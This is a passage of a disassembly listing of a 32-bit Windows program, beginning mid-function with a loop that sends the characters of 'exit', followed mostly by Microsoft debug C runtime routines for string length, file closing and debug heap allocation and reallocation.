		push	edi
		call	sub_41AC70
		add	esp, 10h
		test	eax, eax
		jbe	short loc_41AC3C


loc_41AC03:				; CODE XREF: seg000:0041AC3Aj
		movsx	eax, byte ptr ds:aExit[ebx] ; "exit"
		push	eax
		push	offset aC_3	; "%c"
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41D360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_41A764
		add	esp, 1Ch
		push	7Dh
		call	esi ; dword_4F12F4
		push	edi
		inc	ebx
		call	sub_41AC70
		cmp	ebx, eax
		pop	ecx
		jb	short loc_41AC03


loc_41AC3C:				; CODE XREF: seg000:0041AC01j
		push	2
		pop	edi


loc_41AC3F:				; CODE XREF: seg000:0041AC58j
		push	258h
		call	esi ; dword_4F12F4
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_41A764
		add	esp, 0Ch
		dec	edi
		jnz	short loc_41AC3F
		mov	ebx, [ebp-1Ch]
		push	1
		pop	esi


loc_41AC60:				; CODE XREF: seg000:0041A95Dj
					; seg000:0041A9B9j ...
		push	ebx
		call	ds:dword_451588
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41AC70	proc near		; CODE XREF: start+34p
					; seg000:0040120Cp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41AC90


loc_41AC7C:				; CODE XREF: sub_41AC70+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41ACC3
		test	ecx, 3
		jnz	short loc_41AC7C
		add	eax, 0


loc_41AC90:				; CODE XREF: sub_41AC70+Aj
					; sub_41AC70+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41AC90
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41ACE1
		test	ah, ah
		jz	short loc_41ACD7
		test	eax, 0FF0000h
		jz	short loc_41ACCD
		test	eax, 0FF000000h
		jz	short loc_41ACC3
		jmp	short loc_41AC90
; ---------------------------------------------------------------------------


loc_41ACC3:				; CODE XREF: sub_41AC70+11j
					; sub_41AC70+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41ACCD:				; CODE XREF: sub_41AC70+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41ACD7:				; CODE XREF: sub_41AC70+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41ACE1:				; CODE XREF: sub_41AC70+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AC70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF0	proc near		; CODE XREF: seg000:00401127p
					; seg000:00405533p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh


loc_41ACFE:				; CODE XREF: sub_41ACF0+36j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41AD22
		push	offset dword_4394EC
		push	0
		push	3Ah
		push	offset dword_4394E0
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41AD22
		int	3		; Trap to Debugger


loc_41AD22:				; CODE XREF: sub_41ACF0+12j
					; sub_41ACF0+2Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41ACFE
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_41AD41
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 0
		jmp	short loc_41AD68
; ---------------------------------------------------------------------------


loc_41AD41:				; CODE XREF: sub_41ACF0+43j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41F070
		add	esp, 4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41AD80
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41F0E0
		add	esp, 4


loc_41AD68:				; CODE XREF: sub_41ACF0+4Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41ACF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD80	proc near		; CODE XREF: sub_41ACF0+61p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax


loc_41AD96:				; CODE XREF: sub_41AD80+3Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_41ADBA
		push	offset dword_4394FC
		push	0
		push	77h
		push	offset dword_4394E0
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41ADBA
		int	3		; Trap to Debugger


loc_41ADBA:				; CODE XREF: sub_41AD80+1Aj
					; sub_41AD80+37j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41AD96
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41AE2A
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_421720
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_4215E0
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_4214B0
		add	esp, 4
		test	eax, eax
		jge	short loc_41AE06
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41AE2A
; ---------------------------------------------------------------------------


loc_41AE06:				; CODE XREF: sub_41AD80+7Bj
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_41AE2A
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0


loc_41AE2A:				; CODE XREF: sub_41AD80+4Dj
					; sub_41AD80+84j ...
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41AD80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE40	proc near		; CODE XREF: seg000:004010C9p
					; sub_402533+63p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, ds:dword_4EE9E4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41AEB0
		add	esp, 14h
		pop	ebp
		retn
sub_41AE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE60	proc near		; CODE XREF: sub_41B270+20p
					; sub_41B330+26p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, ds:dword_4EE9E4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41AEB0
		add	esp, 14h
		pop	ebp
		retn
sub_41AE60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE90	proc near		; CODE XREF: sub_41FD90+9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41AEB0
		add	esp, 14h
		pop	ebp
		retn
sub_41AE90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AEB0	proc near		; CODE XREF: sub_41AE40+13p
					; sub_41AE60+19p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx


loc_41AEB4:				; CODE XREF: sub_41AEB0:loc_41AF08j
		push	9
		call	sub_421A80
		add	esp, 4
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41AF30
		add	esp, 10h
		mov	[ebp+var_4], eax
		push	9
		call	sub_421B20
		add	esp, 4
		cmp	[ebp+var_4], 0
		jnz	short loc_41AEEF
		cmp	[ebp+arg_4], 0
		jnz	short loc_41AEF4


loc_41AEEF:				; CODE XREF: sub_41AEB0+37j
		mov	eax, [ebp+var_4]
		jmp	short loc_41AF0A
; ---------------------------------------------------------------------------


loc_41AEF4:				; CODE XREF: sub_41AEB0+3Dj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421970
		add	esp, 4
		test	eax, eax
		jnz	short loc_41AF08
		xor	eax, eax
		jmp	short loc_41AF0A
; ---------------------------------------------------------------------------


loc_41AF08:				; CODE XREF: sub_41AEB0+52j
		jmp	short loc_41AEB4
; ---------------------------------------------------------------------------


loc_41AF0A:				; CODE XREF: sub_41AEB0+42j
					; sub_41AEB0+56j
		mov	esp, ebp
		pop	ebp
		retn
sub_41AEB0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41AF30
		add	esp, 10h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF30	proc near		; CODE XREF: sub_41AEB0+1Ep
					; seg000:0041AF1Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	eax, ds:dword_44FA40
		and	eax, 4
		test	eax, eax
		jz	short loc_41AF7C


loc_41AF4C:				; CODE XREF: sub_41AF30+4Aj
		call	sub_41C000
		test	eax, eax
		jnz	short loc_41AF76
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	141h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41AF76
		int	3		; Trap to Debugger


loc_41AF76:				; CODE XREF: sub_41AF30+23j
					; sub_41AF30+43j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41AF4C


loc_41AF7C:				; CODE XREF: sub_41AF30+1Aj
		mov	edx, ds:dword_44FA44
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		cmp	eax, ds:dword_44FA48
		jnz	short loc_41AF91
		int	3		; Trap to Debugger


loc_41AF91:				; CODE XREF: sub_41AF30+5Ej
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		push	1
		call	ds:off_44FE20
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41B014
		cmp	[ebp+arg_8], 0
		jz	short loc_41AFE7


loc_41AFBC:				; CODE XREF: sub_41AF30+B3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	offset aClientHookAllo ; "Client hook allocation failure at file "...
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41AFDF
		int	3		; Trap to Debugger


loc_41AFDF:				; CODE XREF: sub_41AF30+ACj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41AFBC
		jmp	short loc_41B00D
; ---------------------------------------------------------------------------


loc_41AFE7:				; CODE XREF: sub_41AF30+8Aj
					; sub_41AF30+DBj
		push	offset aClientHookAl_0 ; "Client hook allocation failure.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41B007
		int	3		; Trap to Debugger


loc_41B007:				; CODE XREF: sub_41AF30+D4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41AFE7


loc_41B00D:				; CODE XREF: sub_41AF30+B5j
		xor	eax, eax
		jmp	loc_41B23C
; ---------------------------------------------------------------------------


loc_41B014:				; CODE XREF: sub_41AF30+84j
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_41B036
		mov	edx, ds:dword_44FA40
		and	edx, 1
		test	edx, edx
		jnz	short loc_41B036
		mov	[ebp+var_C], 1


loc_41B036:				; CODE XREF: sub_41AF30+F0j
					; sub_41AF30+FDj
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_41B047
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		cmp	eax, 0FFFFFFE0h
		jbe	short loc_41B073


loc_41B047:				; CODE XREF: sub_41AF30+10Aj
					; sub_41AF30+13Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
		push	0
		push	0
		push	0
		push	1
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41B066
		int	3		; Trap to Debugger


loc_41B066:				; CODE XREF: sub_41AF30+133j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41B047
		xor	eax, eax
		jmp	loc_41B23C
; ---------------------------------------------------------------------------


loc_41B073:				; CODE XREF: sub_41AF30+115j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41B0C0
		cmp	[ebp+arg_4], 1
		jz	short loc_41B0C0
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_41B0C0
		cmp	[ebp+arg_4], 3
		jz	short loc_41B0C0


loc_41B09A:				; CODE XREF: sub_41AF30+18Ej
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	1
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41B0BA
		int	3		; Trap to Debugger


loc_41B0BA:				; CODE XREF: sub_41AF30+187j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41B09A


loc_41B0C0:				; CODE XREF: sub_41AF30+14Ej
					; sub_41AF30+154j ...
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_421BE0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41B0E5
		xor	eax, eax
		jmp	loc_41B23C
; ---------------------------------------------------------------------------


loc_41B0E5:				; CODE XREF: sub_41AF30+1ACj
		mov	edx, ds:dword_44FA44
		add	edx, 1
		mov	ds:dword_44FA44, edx
		cmp	[ebp+var_C], 0
		jz	short loc_41B143
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+0Ch], 0FEDCBABCh
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+14h], 3
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+18h], 0
		jmp	loc_41B1E3
; ---------------------------------------------------------------------------


loc_41B143:				; CODE XREF: sub_41AF30+1C8j
		mov	edx, ds:dword_4EE958
		add	edx, [ebp+arg_0]
		mov	ds:dword_4EE958, edx
		mov	eax, ds:dword_4EE960
		add	eax, [ebp+arg_0]
		mov	ds:dword_4EE960, eax
		mov	ecx, ds:dword_4EE960
		cmp	ecx, ds:dword_4EE964
		jbe	short loc_41B179
		mov	edx, ds:dword_4EE960
		mov	ds:dword_4EE964, edx


loc_41B179:				; CODE XREF: sub_41AF30+23Bj
		cmp	ds:dword_4EE95C, 0
		jz	short loc_41B18F
		mov	eax, ds:dword_4EE95C
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		jmp	short loc_41B198
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41AF30+250j
		mov	edx, [ebp+var_4]
		mov	ds:dword_4EE954, edx


loc_41B198:				; CODE XREF: sub_41AF30+25Dj
		mov	eax, [ebp+var_4]
		mov	ecx, ds:dword_4EE95C
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_C]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax+14h], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[edx+18h], eax
		mov	ecx, [ebp+var_4]
		mov	ds:dword_4EE95C, ecx


loc_41B1E3:				; CODE XREF: sub_41AF30+20Ej
		push	4
		xor	edx, edx
		mov	dl, ds:byte_44FA4C
		push	edx
		mov	eax, [ebp+var_4]
		add	eax, 1Ch
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		push	4
		xor	ecx, ecx
		mov	cl, ds:byte_44FA4C
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx+20h]
		push	ecx
		call	sub_41D100
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		xor	eax, eax
		mov	al, ds:byte_44FA4E
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		call	sub_41D100
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, 20h


loc_41B23C:				; CODE XREF: sub_41AF30+DFj
					; sub_41AF30+13Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41AF30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B250	proc near		; CODE XREF: sub_40DBFE+1Ep
					; sub_40DBFE+37p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B270
		add	esp, 14h
		pop	ebp
		retn
sub_41B250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B270	proc near		; CODE XREF: sub_41B250+11p
					; sub_41EF20+40p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41B2C9
		mov	edx, [ebp+var_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_41B2B0:				; CODE XREF: sub_41B270+57j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_4]
		jnb	short loc_41B2C9
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_41B2B0
; ---------------------------------------------------------------------------


loc_41B2C9:				; CODE XREF: sub_41B270+2Fj
					; sub_41B270+46j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_41B270	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2D0	proc near		; CODE XREF: seg000:004010F1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B2F0
		add	esp, 14h
		pop	ebp
		retn
sub_41B2D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2F0	proc near		; CODE XREF: sub_41B2D0+11p
					; sub_41FDB0+50p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_421A80
		add	esp, 4
		push	1
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B330
		add	esp, 18h
		mov	[ebp+var_4], eax
		push	9
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41B2F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B330	proc near		; CODE XREF: sub_41B2F0+24p
					; sub_41B870+24p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B363
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41AE60
		add	esp, 10h
		jmp	loc_41B83A
; ---------------------------------------------------------------------------


loc_41B363:				; CODE XREF: sub_41B330+14j
		cmp	[ebp+arg_14], 0
		jz	short loc_41B386
		cmp	[ebp+arg_4], 0
		jnz	short loc_41B386
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		xor	eax, eax
		jmp	loc_41B83A
; ---------------------------------------------------------------------------


loc_41B386:				; CODE XREF: sub_41B330+37j
					; sub_41B330+3Dj
		mov	eax, ds:dword_44FA40
		and	eax, 4
		test	eax, eax
		jz	short loc_41B3C2


loc_41B392:				; CODE XREF: sub_41B330+90j
		call	sub_41C000
		test	eax, eax
		jnz	short loc_41B3BC
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	239h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B3BC
		int	3		; Trap to Debugger


loc_41B3BC:				; CODE XREF: sub_41B330+69j
					; sub_41B330+89j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41B392


loc_41B3C2:				; CODE XREF: sub_41B330+60j
		mov	edx, ds:dword_44FA44
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		cmp	eax, ds:dword_44FA48
		jnz	short loc_41B3D7
		int	3		; Trap to Debugger


loc_41B3D7:				; CODE XREF: sub_41B330+A4j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	2
		call	ds:off_44FE20
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41B45C
		cmp	[ebp+arg_C], 0
		jz	short loc_41B42F


loc_41B404:				; CODE XREF: sub_41B330+FBj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		push	offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41B427
		int	3		; Trap to Debugger


loc_41B427:				; CODE XREF: sub_41B330+F4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41B404
		jmp	short loc_41B455
; ---------------------------------------------------------------------------


loc_41B42F:				; CODE XREF: sub_41B330+D2j
					; sub_41B330+123j
		push	offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41B44F
		int	3		; Trap to Debugger


loc_41B44F:				; CODE XREF: sub_41B330+11Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41B42F


loc_41B455:				; CODE XREF: sub_41B330+FDj
		xor	eax, eax
		jmp	loc_41B83A
; ---------------------------------------------------------------------------


loc_41B45C:				; CODE XREF: sub_41B330+CCj
		cmp	[ebp+arg_4], 0FFFFFFDBh
		jbe	short loc_41B48E


loc_41B462:				; CODE XREF: sub_41B330+155j
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aAllocationTooL ; "Allocation too large or negative: %u by"...
		push	0
		push	0
		push	0
		push	1
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41B481
		int	3		; Trap to Debugger


loc_41B481:				; CODE XREF: sub_41B330+14Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41B462
		xor	eax, eax
		jmp	loc_41B83A
; ---------------------------------------------------------------------------


loc_41B48E:				; CODE XREF: sub_41B330+130j
		cmp	[ebp+arg_8], 1
		jz	short loc_41B4D6
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_41B4D6
		mov	edx, [ebp+arg_8]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_41B4D6


loc_41B4B0:				; CODE XREF: sub_41B330+1A4j
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	1
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41B4D0
		int	3		; Trap to Debugger


loc_41B4D0:				; CODE XREF: sub_41B330+19Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41B4B0


loc_41B4D6:				; CODE XREF: sub_41B330+162j
					; sub_41B330+170j ...
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41C460
		add	esp, 4
		test	eax, eax
		jnz	short loc_41B507
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	261h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41B507
		int	3		; Trap to Debugger


loc_41B507:				; CODE XREF: sub_41B330+1B4j
					; sub_41B330+1D4j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41B4D6
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_41B526
		mov	[ebp+var_14], 1


loc_41B526:				; CODE XREF: sub_41B330+1EDj
		cmp	[ebp+var_14], 0
		jz	short loc_41B56A


